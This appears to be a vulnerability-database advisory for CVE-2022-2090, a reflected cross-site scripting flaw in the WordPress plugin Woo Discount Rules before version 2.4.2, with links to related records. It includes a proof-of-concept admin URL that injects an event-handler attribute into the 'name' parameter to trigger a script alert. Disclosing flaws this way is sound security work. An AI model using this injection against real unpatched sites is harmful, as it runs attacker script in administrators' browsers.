Lucene search
ZhongFu Su(JrXnm) of WuHan UniversityWPEX-ID:0201F365-7ACB-4640-BD3F-7119432F4917HistoryJun 27, 2022 - 12:00 a.m.
Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-06-2700:00:00
ZhongFu Su(JrXnm) of WuHan University
150
0.001 Low
EPSS
Percentile
40.4%
The plugin does not escape a parameter before outputting it back in an attribute of the plugin’s discount rule page, leading to Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=woo_discount_rules&name="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//Related
patchstack
patchstack
cvelist
cvelist
CVE-2022-2090 Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-07-17 10:35:45
nvd
nvd
CVE-2022-2090
2022-07-17 11:15:08
wpvulndb
wpvulndb
Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-06-27 00:00:00
prion
prion
Cross site scripting
2022-07-17 11:15:00
cve
cve
CVE-2022-2090
2022-07-17 11:15:08
cnvd
cnvd
WordPress plugin Discount Rules for WooCommerce跨站脚本漏洞
2022-07-19 00:00:00